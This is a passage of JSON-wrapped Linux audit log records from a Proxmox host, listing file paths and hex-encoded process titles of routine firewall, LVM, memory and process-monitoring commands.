dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015651,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.651:63610): proctitle=\"ip6tables-save\""} {"@timestamp":1781965495783,"@rawstring":"node=pve type=PATH msg=audit(1781965495.783:65863): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.645:63609): proctitle=\"iptables-save\""} {"@timestamp":1781965495776,"@rawstring":"node=pve type=PATH msg=audit(1781965495.776:65862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.641:63608): proctitle=69707365740073617665"} {"@timestamp":1781965495776,"@rawstring":"node=pve type=PATH msg=audit(1781965495.776:65862): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.634:63607): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965495767,"@rawstring":"node=pve type=PATH msg=audit(1781965495.767:65861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.628:63606): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965495767,"@rawstring":"node=pve type=PATH msg=audit(1781965495.767:65861): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965014.254:63605): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965495763,"@rawstring":"node=pve type=PATH msg=audit(1781965495.763:65859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965014.225:63604): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965495763,"@rawstring":"node=pve type=PATH msg=audit(1781965495.763:65859): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965011.485:63603): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495757,"@rawstring":"node=pve type=PATH msg=audit(1781965495.757:65858): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965011.485:63602): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495757,"@rawstring":"node=pve type=PATH msg=audit(1781965495.757:65858): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011484,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965011.484:63601): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495751,"@rawstring":"node=pve type=PATH msg=audit(1781965495.751:65857): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965011.476:63600): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495751,"@rawstring":"node=pve type=PATH msg=audit(1781965495.751:65857): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965011.476:63599): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495745,"@rawstring":"node=pve type=PATH msg=audit(1781965495.745:65856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965011.476:63598): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495745,"@rawstring":"node=pve type=PATH msg=audit(1781965495.745:65856): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965009333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965009.333:63597): proctitle=66696E64002F7661722F6C69622F767A2F64756D702F002D747970650066002D6E616D65002A7A7374"} {"@timestamp":1781965495741,"@rawstring":"node=pve type=PATH msg=audit(1781965495.741:65855): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965006.466:63596): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495741,"@rawstring":"node=pve type=PATH msg=audit(1781965495.741:65855): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965006.466:63595): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495735,"@rawstring":"node=pve type=PATH msg=audit(1781965495.735:65854): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965006.466:63594): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495735,"@rawstring":"node=pve type=PATH msg=audit(1781965495.735:65854): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965006.451:63593): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495729,"@rawstring":"node=pve type=PATH msg=audit(1781965495.729:65853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965006.451:63592): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495729,"@rawstring":"node=pve type=PATH msg=audit(1781965495.729:65853): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965006.451:63591): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965495721,"@rawstring":"node=pve type=PATH msg=audit(1781965495.721:65852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.617:63590): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965495721,"@rawstring":"node=pve type=PATH msg=audit(1781965495.721:65852): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.613:63589): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965495717,"@rawstring":"node=pve type=PATH msg=audit(1781965495.717:65851): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.613:63588): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495717,"@rawstring":"node=pve type=PATH msg=audit(1781965495.717:65851): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.613:63587): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495714,"@rawstring":"node=pve type=PATH msg=audit(1781965495.714:65850): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.609:63586): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495714,"@rawstring":"node=pve type=PATH msg=audit(1781965495.714:65850): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.603:63585): proctitle=\"ip6tables-save\""} {"@timestamp":1781965495713,"@rawstring":"node=pve type=PATH msg=audit(1781965495.713:65849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.597:63584): proctitle=\"iptables-save\""} {"@timestamp":1781965495713,"@rawstring":"node=pve type=PATH msg=audit(1781965495.713:65849): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.591:63583): proctitle=\"ip6tables-save\""} {"@timestamp":1781965495712,"@rawstring":"node=pve type=PATH msg=audit(1781965495.712:65848): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.585:63582): proctitle=\"iptables-save\""} {"@timestamp":1781965495705,"@rawstring":"node=pve type=PATH msg=audit(1781965495.705:65847): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.582:63581): proctitle=\"ebtables-restore\""} {"@timestamp":1781965495705,"@rawstring":"node=pve type=PATH msg=audit(1781965495.705:65847): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.578:63580): proctitle=\"ebtables-restore\""} {"@timestamp":1781965495705,"@rawstring":"node=pve type=PATH msg=audit(1781965495.705:65847): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.575:63579): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965495697,"@rawstring":"node=pve type=PATH msg=audit(1781965495.697:65846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005570,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.570:63578): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965495697,"@rawstring":"node=pve type=PATH msg=audit(1781965495.697:65846): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005565,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.565:63577): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965495690,"@rawstring":"node=pve type=PATH msg=audit(1781965495.690:65845): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.561:63576): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965495690,"@rawstring":"node=pve type=PATH msg=audit(1781965495.690:65845): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005555,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.555:63575): proctitle=697073657400726573746F7265"} {"@timestamp":1781965495683,"@rawstring":"node=pve type=PATH msg=audit(1781965495.683:65844): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.549:63574): proctitle=\"ip6tables-save\""} {"@timestamp":1781965495683,"@rawstring":"node=pve type=PATH msg=audit(1781965495.683:65844): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.544:63573): proctitle=\"iptables-save\""} {"@timestamp":1781965495677,"@rawstring":"node=pve type=PATH msg=audit(1781965495.677:65843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.540:63572): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965495677,"@rawstring":"node=pve type=PATH msg=audit(1781965495.677:65843): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.536:63571): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965495666,"@rawstring":"node=pve type=PATH msg=audit(1781965495.666:65842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.535:63570): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495666,"@rawstring":"node=pve type=PATH msg=audit(1781965495.666:65842): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.535:63569): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495033,"@rawstring":"node=pve type=PATH msg=audit(1781965495.033:65841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.531:63568): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495033,"@rawstring":"node=pve type=PATH msg=audit(1781965495.033:65841): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.525:63567): proctitle=\"ip6tables-save\""} {"@timestamp":1781965495002,"@rawstring":"node=pve type=PATH msg=audit(1781965495.002:65840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.518:63566): proctitle=\"iptables-save\""} {"@timestamp":1781965495002,"@rawstring":"node=pve type=PATH msg=audit(1781965495.002:65840): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.514:63565): proctitle=69707365740073617665"} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PATH msg=audit(1781965493.210:65839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.507:63564): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PATH msg=audit(1781965493.210:65839): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965005.501:63563): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PATH msg=audit(1781965493.210:65838): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965004.153:63562): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965493210,"@rawstring":"node=pve type=PATH msg=audit(1781965493.210:65837): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004123,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965004.123:63561): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PATH msg=audit(1781965493.193:65836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965001.444:63560): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PATH msg=audit(1781965493.193:65836): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965001.444:63559): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PATH msg=audit(1781965493.193:65835): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965001.444:63558): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965493193,"@rawstring":"node=pve type=PATH msg=audit(1781965493.193:65834): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965001.436:63557): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PATH msg=audit(1781965488.183:65833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965001.436:63556): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PATH msg=audit(1781965488.183:65833): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965001.436:63555): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PATH msg=audit(1781965488.183:65832): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965000.072:63554): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965488183,"@rawstring":"node=pve type=PATH msg=audit(1781965488.183:65831): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965000.072:63553): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PATH msg=audit(1781965488.177:65830): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965000.070:63552): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PATH msg=audit(1781965488.177:65830): 